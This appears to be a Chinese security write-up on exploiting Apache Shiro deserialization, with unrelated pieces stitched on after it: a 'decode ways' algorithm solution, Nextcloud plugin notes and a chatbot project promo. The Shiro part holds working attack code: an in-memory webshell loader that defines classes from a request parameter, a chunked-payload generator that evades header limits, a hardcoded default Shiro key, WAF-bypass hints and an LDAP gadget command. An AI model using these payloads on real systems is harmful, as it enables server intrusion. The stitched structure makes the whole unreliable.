    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
    import java.lang.reflect.Field;  
    import java.lang.reflect.Method;  
    import java.util.List;  
    import org.apache.shiro.codec.Base64;  
    
    public class T96325784464600 extends AbstractTranslet {  
        private static Object getFV(Object var0, String var1) throws Exception {  
            Field var2 = null;  
            Class var3 = var0.getClass();  
    
            while(var3 != Object.class) {  
                try {  
                    var2 = var3.getDeclaredField(var1);  
                    break;  
                } catch (NoSuchFieldException var5) {  
                    var3 = var3.getSuperclass();  
                }  
            }  
    
            if (var2 == null) {  
                throw new NoSuchFieldException(var1);  
            } else {  
                var2.setAccessible(true);  
                return var2.get(var0);  
            }  
        }  
    
        public T96325784464600() {  
            try {  
                String var3 = null;  
                boolean var4 = false;  
                Thread\[\] var5 = (Thread\[\])getFV(Thread.currentThread().getThreadGroup(), "threads");  
    
                for(int var6 = 0; var6 < var5.length; ++var6) {  
                    Thread var7 = var5\[var6\];  
                    if (var7 != null) {  
                        String var2 = var7.getName();  
                        if (!var2.contains("exec") && var2.contains("http")) {  
                            Object var1 = getFV(var7, "target");  
                            if (var1 instanceof Runnable) {  
                                try {  
                                    var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");  
                                } catch (Exception var17) {  
                                    continue;  
                                }  
    
                                List var9 = (List)getFV(var1, "processors");  
    
                                for(int var10 = 0; var10 < var9.size(); ++var10) {  
                                    Object var11 = var9.get(var10);  
                                    var1 = getFV(var11, "req");  
                                    Object var12 = var1.getClass().getMethod("getNote", Integer.TYPE).invoke(var1, new Integer(1));  
                                    var3 = (String)var12.getClass().getMethod("getParameter", String.class).invoke(var12, new String("user"));  
                                    if (var3 != null && !var3.isEmpty()) {  
                                        byte\[\] var13 = Base64.decode(var3);  
                                        Method var14 = ClassLoader.class.getDeclaredMethod("defineClass", byte\[\].class, Integer.TYPE, Integer.TYPE);  
                                        var14.setAccessible(true);  
                                        Class var15 = (Class)var14.invoke(this.getClass().getClassLoader(), var13, new Integer(0), new Integer(var13.length));  
                                        var15.newInstance().equals(var12);  
                                        var4 = true;  
                                    }  
    
                                    if (var4) {  
                                        break;  
                                    }  
                                }  
                            }  
                        }  
                    }  
                }  
            } catch (Exception var18) {  
            }  
    
        }  
    }
    
    1. 漏洞利用:在HTTP的remeberMe中填充上述第一步生成的payload,POST的user参数中填充Base64格式内存马:记得URI编码

    image-20241214203345-1qjca6h.png

    其实从代码中也可以看出这种方式的技术点是获取request对象然后去读取我们设定参数中的内容来类加载,不同的中间件获取request对象的方式不同,这个点要注意...

    5.5 分块传输种马

    Shiro攻防中还有个经典的问题就是Header的长度限制,通常情况下对Shiro的Header的限制可能是WAF也可能是Tomcat这种中间件。不考虑修改Tomcat的修改MaxHeaderSize和绕WAF的手段,单从缩小Payload长度来做,有什么办法呢?我们经常漏洞利用使用TemplatesImpl模式利用链,它的载体是代码执行,所以操作余地很多,下面介绍这种模式下的分块利用。

    首先明白影响我们发送Payload长度的因素,有俩种情况:

    1. Gadgets利用链的长度:CommonsBeanutils此类利用链是加载AbstractTranslet继承类的字节码来利用的,这块有无办法缩短
    2. 漏洞利用加载字节码长度:种植内存马时候,它的字节码长度本来就不小,如果嵌入到利用链中就会使Payload变得更长

    5.5.1 Gadgets利用链长度缩短

    对于TemplatesImpl系列的利用链,学习了下4ra1n师傅的终极Java反序列化Payload缩小技术文章。整理下就是从TemplatesImpl链角度缩小和从加载的字节码角度缩小

    TemplatesImpl加载的字节码类缩小手段:

    • ByteCodes字节码类中捕获的异常不处理
    • LINENUMBER指令删除
    • 使用javassist生成字节码
    • 删除继承AbstractTranslet类需要重写的俩个方法(使用javassist生成的字节码自动没有重写)

    TemplatesImpl链缩小手段:

    • 设置_name属性是一个字符
    • 其中_tfactory属性
      Gadgets#createCompressTemplatesImpl方法:

      ```java

      if(command.toLowerCase().startsWith(CustomCommand.COMMAND_CLASS_FILE)){
      classBytes = CommonUtil.readFileByte(command.substring(CustomCommand.COMMAND_CLASS_FILE.length()));
      }else if(command.toLowerCase().startsWith(CustomCommand.COMMAND_CLASS_BASE64)){
      classBytes = new BASE64Decoder().decodeBuffer(command.substring(CustomCommand.COMMAND_CLASS_BASE64.length()));
      } else {
      CtClass clazz = classPool.makeClass("C");
      clazz.defrost();
      String code = TemplatesImplUtil.getCmd(command);
      clazz.makeClassInitializer().insertAfter(code);
      CtClass superC = classPool.get(AbstractTranslet.class.getName());
      clazz.setSuperclass(superC);
      clazz.getClassFile().setVersionToJava5();
      classBytes = clazz.toBytecode();
      }
      //使用ASM删除LINENUMBER指令
      byte[] asmResolveBytes = asmResolveClassBytes(classBytes);
      ```

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {asmResolveBytes});
    Reflections.setFieldValue(templates, "_name", "P"); //设置_name名称可以是一个字符
    //其中_tfactory属性可以删除(分析TemplatesImpl得出)
    return templates;

    ### 5.5.2 分块字节码长度
    
    其实最严重的就是我们想要加载的字节码长度太长,从字节码角度其实不太好进行优化缩短。类加载的角度可以从URL进行远程类加载URLClassLoader,也可以读取某个位置的字节码内容然后ClassLoader#defineClass来类加载。所以可以转换思路将字节码分段写在某些位置,然后用类加载器来加载。
    
    字节码写入的位置:分块写字节码并加载,学习bmth666的[Shiro绕过Header长度限制进阶利用](http://www.bmth666.cn/2024/11/03/Shiro%E7%BB%95%E8%BF%87Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8/)文章,大师傅介绍了三种方法:
    
    -   落地写文件并加载
    
    -   线程名写字节码并加载
    
    -   设置系统属性写字节码并加载
    
    bmth666师傅文章中把最后的构造过程也提供出来了,稍作修改就可以直接使用。下面是我补充的设置系统属性写字节码并加载
    ```java
    package cn.butler.yso.exploit;  
    
    import cn.butler.payloads.ObjectPayload;  
    import cn.butler.yso.Serializer;  
    import org.apache.shiro.Encrypt.CbcEncrypt;  
    import org.apache.shiro.Encrypt.ShiroGCM;  
    
    import java.io.IOException;  
    import java.nio.file.Files;  
    import java.nio.file.Paths;  
    import java.nio.file.StandardOpenOption;  
    import java.util.Base64;  
    
    public class ShiroChunkPayload {  
        public static String gadget = "CommonsBeanutils2";  
        public static String aesModel = "CBC";  
        public static String shirokey = "kPH+bIxk5D2deZiIxcaaaA==";  
        public static String fileClassByteCode;  
        public static String fileOutput;  
        public static void main(String\[\] args) throws Exception{  
            // 解析命令行参数  
            for (int i = 0; i < args.length; i ++ ) {  
                switch (args\[i\]) {  
                    case "-h":  
                        System.out.println("Usage: java -cp ysoSimple.jar cn.butler.yso.exploit.ShiroChunkPayload \[-g <gadget>\] \[-m <aseModel>\] \[-k <shiroKey>\] \[-f <fileClassByteCode>\] \[-o <fileOutput>\] \[-h\]");  
                        return;  
                    case "-g":  
                        gadget = args\[i+1\];  
                        break;  
                    case "-m":  
                        aesModel = args\[i+1\];  
                        break;  
                    case "-k":  
                        shirokey = args\[i+1\];  
                        break;  
                    case "-f":  
                        fileClassByteCode = args\[i+1\];  
                        break;  
                    case "-o":  
                        fileOutput = args\[i+1\];  
                        break;  
                }  
            }  
    //        String gadget = args\[0\];  
    //        String aesModel = args\[1\];  
    //        String shirokey = args\[2\];  
            // 文件中是字节码的位置  
    //        String fileClassByteCode = args\[3\];  
            String base64 = Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(fileClassByteCode)));  
    //        String fileName = args\[4\];  
            System.out.println("\[+\] Yso Gadget: " + gadget);  
            System.out.println("\[+\] Shiro AES Model: " + aesModel);  
            System.out.println("\[+\] Shiro Key: " + shirokey);  
            System.out.println("\[+\] Base64 ClassData Length: " + base64.length());  
            System.out.println("\[+\] Chunk Payload Write To: " + fileOutput);  
            System.out.println("----------------------------------------");  
            // 定义每个数据块的大小为1000字符  
            int groupSize = 1000;  
            // 获取Base64字符串的长度  
            int length = base64.length();  
            // 初始化起始索引为0,表示从字符串的第一个字符开始处理  
            int startIndex = 0;  
            // 计算结束索引,确保不超过字符串的总长度,取较小值  
            int endIndex = Math.min(length, groupSize);  
            // 分块数量  
            int a = 1;  
    
            //分块设置系统属性的反序列化Gadget生成  
            System.out.println("\[\*\] 开始生成设置系统属性的Payload:");  
            while (startIndex < length) {  
                String group = base64.substring(startIndex, endIndex);  
                startIndex = endIndex; //ShiroChunk  
                endIndex = Math.min(startIndex + groupSize, length);  
                String command =  "Templateslmpl:system\_set\_property:" + String.valueOf(a) + ":" + group;  
                //序列化Gadget  
                Object gadgetPayload = ysoGadgetGenerate(gadget, command);  
                //AES加密  
                String aesEncryptPayload = aesEncryptGenerate(gadgetPayload,aesModel,shirokey);  
                String describe = String.format("\[\*\] 第 %d 组数据长度为: %d",a,aesEncryptPayload.length());  
                System.out.println(describe);  
                System.out.println(aesEncryptPayload);  
                appendToFile(fileOutput,aesEncryptPayload);  
                System.out.println("----------------------------------------");  
                a++;  
            }  
    
            System.out.println(String.format("\[\*\] 写入分块设置系统属性的反序列化Gadget到 %s 中",fileOutput));  
            System.out.println("----------------------------------------");  
    
            //系统属性类加载的反序列化Gadget生成  
            System.out.println("\[\*\] 开始生成类加载的Payload:");  
            String command = "Templateslmpl:system\_property\_classloader:" + String.valueOf(a);  
            //序列化Gadget  
            Object gadgetPayload = ysoGadgetGenerate(gadget, command);  
            //AES加密  
            String aesEncryptPayload = aesEncryptGenerate(gadgetPayload,aesModel,shirokey);  
            String describe = String.format("\[\*\] 系统属性类加载的反序列化Gadget长度为: %d",aesEncryptPayload.length());  
            System.out.println(describe);  
            System.out.println(aesEncryptPayload);  
        }  
    
        /\*\*  
         \* 生成指定的Yso的Gadget  
         \* @param gadget  
         \* @param payload  
         \* @return  
         \*/  
        private static Object ysoGadgetGenerate(String gadget,String payload){  
            return ObjectPayload.Utils.makePayloadObject("YsoAttack", gadget, payload);  
        }  
    
        /\*\*  
         \* 序列化Gadget并进行AES加密  
         \* @param object  
         \* @param aesModel  
         \* @param shirokey  
         \* @return  
         \* @throws IOException  
         \*/  
        private static String aesEncryptGenerate(Object object,String aesModel,String shirokey) throws IOException {  
            byte\[\] serialize = Serializer.serialize(object);  
            String encryptPayload = "";  
            if(aesModel != null && aesModel.equals("GCM")){  
                //AES-GCM,Base64  
                ShiroGCM shiroGCM = new ShiroGCM();  
                encryptPayload = shiroGCM.encrypt(shirokey,serialize);  
            }else {  
                //AES-CBC,Base64  
                CbcEncrypt cbcEncrypt = new CbcEncrypt();  
                encryptPayload = cbcEncrypt.encrypt(shirokey,serialize);  
            }  
            return encryptPayload;  
        }  
    
        /\*\*  
         \* 将数据追加到文件中,并且每次追加数据时换行  
         \*  
         \* @param fileName 文件名  
         \* @param data 要追加的数据  
         \*/  
        public static void appendToFile(String fileName, String data) {  
            try {  
                //使用 Files.write() 方法追加数据,并在数据前加上换行符  
                //StandardOpenOption.CREATE 确保如果文件不存在则会被创建。  
                //StandardOpenOption.APPEND 确保数据会被追加到文件末尾,而不是覆盖原有内容。  
                Files.write(Paths.get(fileName),("\\n" + data).getBytes(),StandardOpenOption.CREATE, StandardOpenOption.APPEND);  
            } catch (IOException e) {  
                e.printStackTrace();  
            }  
        }  
    }
    

    YsoSimple工具中的TemplatesImplUtil中增加system_set_propertysystem_property_classloader的场景:

    }else if (command.toLowerCase().startsWith(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_SET)) {  
        String nameAndValue = command.substring(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_SET.length());  
        String\[\] nameAndValueArray = nameAndValue.split(":", 2); // 使用第一个冒号进行切割,限制切割为最多两个部分  
        cmd = String.format("System.setProperty(\\"%s\\",\\"%s\\");",nameAndValueArray\[0\],nameAndValueArray\[1\]);  
    }else if (command.toLowerCase().startsWith(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_CLASSLOADER)) {  
        String systemNumber = command.substring(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_CLASSLOADER.length());  
        int a = Integer.valueOf(systemNumber);  
        String bytestr ="";  
        for(int i=1;i<=a-1;i++){  
            if(i<a-1){  
                bytestr = bytestr + "System.getProperty(\\""+i+"\\")+";  
            }else {  
                bytestr = bytestr + "System.getProperty(\\""+i+"\\");";  
            }  
        }  
        cmd = "{try {\\n" +  
            "ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\\n" +  
            "String base64Str = "+bytestr+"\\n" +  
            "byte\[\] clazzByte = org.apache.shiro.codec.Base64.decode(base64Str);\\n" +  
            "java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\\"defineClass\\", new Class\[\]{byte\[\].class,int.class,int.class});\\n" +  
            "defineClass.setAccessible(true);\\n" +  
            "Class clazz = (Class)defineClass.invoke(classLoader,new Object\[\]{clazzByte, new Integer(0), new Integer(clazzByte.length)});\\n" +  
            "clazz.newInstance();\\n" +  
            "}catch (Exception e){}}";  
    }
    

    ysoSimple.jar中ShiroChunkPayload使用方式:

    java -cp ysoSimple-1.0.1-all.jar cn.butler.yso.exploit.ShiroChunkPayload -g CommonsBeanutils2 -m CBC -k kPH+bIxk5D2deZiIxcaaaA== -f /tmp/HTMLUtil.class -o /tmp/ShiroChunk.txt
    

    使用上述命令后的工具生成的最终效果:

    image-20241203214725-zp1el0w.png

    然后将 C:\Users\butler\Desktop\Random\Shiro\ShiroChunk.txt 放入Yakit进行发包,在目标系统中的系统属性中写入字节码

    image-20241203215012-v22k3cf.png

    最后发送类加载的Payload将会执行上述的字节码逻辑

    image-20241203215101-w0yi1fo.png

    上面ShiroChunkPayload生成的分块Payload没有增加Shiro Base64的混淆,所以可能会被WAF针对拦截,这块涉及到绕WAF可以参考前面绕WAF的思路。如果要增加Base64混淆绕WAF,师傅们可以简单改改。

    中间件对TemplatesImpl影响(坑点)

    实战中有次遇到undertow中间件,经过前期的信息探测确系目标出网且存在CB19x的依赖。但是漏洞利用时候发现无法使用CB的TemplatesImpl利用链攻击,非常的奇怪,因为出网而且目标正好是jdk低版本。最后用JRMPClient2的的反连二次反序列化打进去了。

    后来发现有大佬也遇到中间件对TemplatesImpl报错的情况:https://github.com/feihong-cs/ShiroExploit-Deprecated/issues/36

    目前整理的对TemplatesImpl的利用可能产生影响的中间件:Jetty,Weblogic,Tomcat6.0,undertow

    因为只影响CB打TemplatesImpl,所以我们可以切换CB的其他打法进行漏洞利用:CommonsBeanutils-LdapAttribute。CB还有个SignedObject二次反序列化打法,我本地搭建Tomcat6.0对SignedObject反序列化打法测试,发现也是报同样的错误,这个打法也是打不成:

    image-20241214163653-tj0rrw9.png

    总结:在遇到Jetty,Weblogic,Tomcat6.0,undertow中间件时会遇到TemplatesImpl无法正常利用的情况,我们切换思路可继续漏洞利用:

    • JRMPClient反连:JRMP协议的反序列化利用,jdk<8u24。项目中遇到太低的jdk好像也打不了这个(jdk1.6)
    • CommonsBeanutils-LdapAttribute:ldap注入。这个注意ldap地址必须是:ldap://127.0.0.1:1389/,后面不能加东西

      bash -m YsoAttack -g CommonsBeanutils2 -a "LdapAttribute:ldap://127.0.0.1:1389/" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
      - C3P0利用链攻击

    结尾:

    实战中我们可能遇到各种各样的环境,遇到复杂的场景时候必须要明确思路,如果能在本地模拟环境就先在模拟环境把漏洞利用调好,最后到实际环境中去攻防。未完持续......

    Reference

    https://github.com/B0T1eR/ysoSimple

    https://github.com/B0T1eR/ysoSimple/blob/master/ysoSimple-Wiki.md#5shiro550%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96ysoattack

    https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/

    https://mp.weixin.qq.com/s/cQCYhBkR95vIVBicA9RR6g

    https://mp.weixin.qq.com/s/P5h9_K4YcvsrU4tsdHsJdQ

    https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/

    https://github.com/kezibei/Urldns

    https://blog.orange.tw/posts/2018-03-pwn-ctf-platform-with-java-jrmp-gadget/

    http://www.bmth666.cn/2024/11/03/Shiro%E7%BB%95%E8%BF%87Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8/

    https://github.com/feihong-cs/ShiroExploit-Deprecated/issues/36

    题⽬描述

    有⼀种将字⺟编码成数字的⽅式:'a'->1, 'b->2', ... , 'z->26'。

    现在给⼀串数字,返回有多少种可能的译码结果

    示例1
    输⼊:"12"
    返回值:2
    说明:2种可能的译码结果(”ab” 或”l”)

    示例2
    输⼊:"31717126241541717"
    返回值:192
    说明:192种可能的译码结果

    仔细观察,就会发现上⾯的编码从 1 到 26,也就是可能⼀次译码使⽤是 1 位,也可能是⼀次译码⽤了 2位,⽐如 12 ,可以第⼀次⽤ 1,2 分开分别译码,也可以把 1,2 合并起来进⾏译码。

    思路及解法

    暴力递归

    假设⼀个字符是S,第⼀次拆解就有两种情况,然后分别对后⾯的部分分别译码,使⽤递归即可:

    public class Solution46 {
         public int solve (String nums) {
             return recursion(nums.toCharArray(), 0);
         }
        
         public int recursion(char[] nums, int start){
             if(start == nums.length){
                 return 1;
             }
             
             if(nums[start] == '0')
                 return 0;
             
             // 使⽤⼀位字符译码
             int count1 = recursion(nums,start+1);
             int count2 = 0;
             // 符合两位字符的译码
             if((start < nums.length-1) && (nums[start] == '1' || (nums[start] == '2' &&nums[start+1] <= '6'))){
                 count2 = recursion(nums,start+2);
             }
             return count1 + count2;
         }
    }

    但是上⾯的代码时间复杂度太⾼了,只要字符稍微⻓⼀点,运⾏时间就容易超过限制了:

    记忆化递归

    为了避免重复计算子问题,我们使用一个备忘录(memo)来存储已经计算过的结果。

    class Solution {
        public int numDecodings(String s) {
            if (s == null || s.length() == 0) return 0;
            // 备忘录,初始化为-1表示未计算
            Integer[] memo = new Integer[s.length()];
            return dfs(s, 0, memo);
        }
        
        private int dfs(String s, int index, Integer[] memo) {
            // 基准情况1:成功解码到末尾,算作一种有效方法
            if (index == s.length()) {
                return 1;
            }
            // 基准情况2:当前字符是'0',无法解码,此路径无效
            if (s.charAt(index) == '0') {
                return 0;
            }
            // 如果当前子问题已经计算过,直接返回结果
            if (memo[index] != null) {
                return memo[index];
            }
            
            int ways = 0;
            // 选择1:解码当前1位数字
            ways += dfs(s, index + 1, memo);
            
            // 选择2:如果存在下一位,并且当前两位数字在10-26之间,则解码当前2位数字
            if (index + 1 < s.length()) {
                int twoDigits = (s.charAt(index) - '0') * 10 + (s.charAt(index + 1) - '0');
                if (twoDigits >= 10 && twoDigits <= 26) {
                    ways += dfs(s, index + 2, memo);
                }
            }
            
            // 将结果存入备忘录
            memo[index] = ways;
            return ways;
        }
    }
    • 时间复杂度:O(n),每个子问题最多被计算一次。
    • 空间复杂度:O(n),递归栈的深度和备忘录的空间

      动态规划

    将过程逆推,要想求得当前的字符串的译码类型,其实有两种,最后⼀个单独翻译,另外⼀种是倒数最后两个字符合起来翻译,这两者之和就是我们所要求的结果。

    ⽽要求前⾯的值,需要求更前⾯的值,最后⼀定会求得⼀个字符和两个字符的结果。其实这就是动态规划⾥⾯说的状态变化。递归其实就是逆推,这样会导致很多重复的计算。动态规划,则是从⼩数值计算到⼤数值。

    既然我们知道是动态规划,定义 dp[i] 为数字串从左到右第i个数字结尾的当前数字串所拥有的翻译⽅法数,接着就需要找出状态转移⽅程:

    • 如果 i=0 , dp[i]=1
    • 否则

      • 如果nums[i]=0,说明需要和前⾯⼀个字符⼀起翻译

        • 如果i == 1,以10或者20开头, dp[i] = 1
        • 否则,数字串中存在10或者20的情况下,当前译码数等于后退两步的译码数, dp[i] =dp[i-2];
      • 否则,在符合字符范围内, dp[i]=dp[i-1]+dp[i-2]
    class Solution {
        public int numDecodings(String s) {
            if (s == null || s.length() == 0 || s.charAt(0) == '0') {
                return 0; // 处理空串或以'0'开头的无效情况
            }
            
            int n = s.length();
            int[] dp = new int[n + 1];
            // 初始化
            dp[0] = 1; // 空字符串有一种解码方式(解码为空)
            dp[1] = 1; // 第一个字符只要不是'0'(前面已判断),就有1种解码方式
    
            for (int i = 2; i <= n; i++) {
                int oneDigit = s.charAt(i - 1) - '0';  // 看最后一个字符(1位数字)
                int twoDigits = (s.charAt(i - 2) - '0') * 10 + oneDigit; // 看最后两个字符(2位数字)
    
                // 情况1:最后一个字符可以单独解码(必须是1-9)
                if (oneDigit >= 1 && oneDigit <= 9) {
                    dp[i] += dp[i - 1];
                }
                // 情况2:最后两个字符可以组合解码(必须是10-26)
                if (twoDigits >= 10 && twoDigits <= 26) {
                    dp[i] += dp[i - 2];
                }
            }
            return dp[n];
        }
    }
    • 时间复杂度:O(n),需要遍历整个字符串一次。
    • 空间复杂度:O(n),用于存储 dp数组。

    空间优化动态规划(推荐)

    观察上面的代码可以发现,计算 dp[i]时只依赖于 dp[i-1]dp[i-2]。因此,我们可以不用维护整个数组,只用两个变量来滚动记录之前的状态即可,从而将空间复杂度优化到常数级别。

    class Solution {
        public int numDecodings(String s) {
            if (s == null || s.length() == 0 || s.charAt(0) == '0') {
                return 0;
            }
            
            int n = s.length();
            // 使用变量替代dp数组
            int prevPrev = 1; // 对应于 dp[i-2],初始化为dp[0]=1
            int prev = 1;     // 对应于 dp[i-1],初始化为dp[1]=1
    
            for (int i = 2; i <= n; i++) {
                int current = 0;
                int oneDigit = s.charAt(i - 1) - '0';
                int twoDigits = (s.charAt(i - 2) - '0') * 10 + oneDigit;
    
                // 情况1:单独解码最后一个字符
                if (oneDigit >= 1 && oneDigit <= 9) {
                    current += prev; // 相当于 dp[i] += dp[i-1]
                }
                // 情况2:组合解码最后两个字符
                if (twoDigits >= 10 && twoDigits <= 26) {
                    current += prevPrev; // 相当于 dp[i] += dp[i-2]
                }
                
                // 滚动更新变量,为下一次迭代做准备
                prevPrev = prev;
                prev = current;
            }
            return prev;
        }
    }
    • 时间复杂度:O(n)。
    • 空间复杂度:O(1),只使用了固定数量的变量

    nextcloud插件开发

    • nextcloud不支持windows服务器,只能用DOCKER
    • 出了错,看nextcloud中“管理”里的日志
    • 要注意appinfo/info.xml中的<namespace></namespace>如果设置不对,找不到控制器,所在干脆删除这一行也可以
    • 要注意有时候会提示找不到图标,那就在插件中自己弄一个
    • 要注意nextcloud的版本,各个版本插件的目录结构都不一样
    • 要注意插件目录的权限

    另附 在docker中的常见命令:

    • docker run -d -p 8080:80 --name nextcloud docker.1ms.run/library/nextcloud:stable-- apache
    • docker cp D:\sync\Widget\php\tongji nextcloud:/var/www/html/apps/
    • docker exec -it nextcloud chown -R www-data:www-data /var/www/html/apps/tongji
    • docker exec -it nextcloud chown -R www-data:www-data /var/www/html/config/
    • docker exec -it nextcloud chmod -R 755 /var/www/html/config/

    参考 Clawdbot 的架构 vibe 了一个国产版:Mozi (墨子)

    GitHub: https://github.com/King-Chau/mozi

    Mozi vs Moltbot 对比

    Mozi Moltbot
    国产模型 ✅ DeepSeek 、智谱、通义千问、Kimi 等 7 家 仅 Claude/OpenAI
    通讯平台 ✅ 飞书、钉钉原生支持 WhatsApp/Telegram/Slack 等

    快速体验

    git clone https://github.com/King-Chau/mozi.git
    cd mozi && npm install && npm run build
    
    # 配置智谱 API Key (有免费额度)
    echo 'ZHIPU_API_KEY=你的 key' > .env
    
    npm start -- start --web-only
    

    打开 http://localhost:3000 就能聊了。

    主要特性

    • 7 家国产模型开箱即用(智谱有免费额度)
    • 飞书/钉钉 WebSocket 长连接
    • Function Calling + 15 个内置工具
    • 交互式配置向导:mozi onboard

    如果你也想在飞书/钉钉群里搞个 AI 机器人,可以试试。

    代码比较糙,欢迎各位大佬试用指正!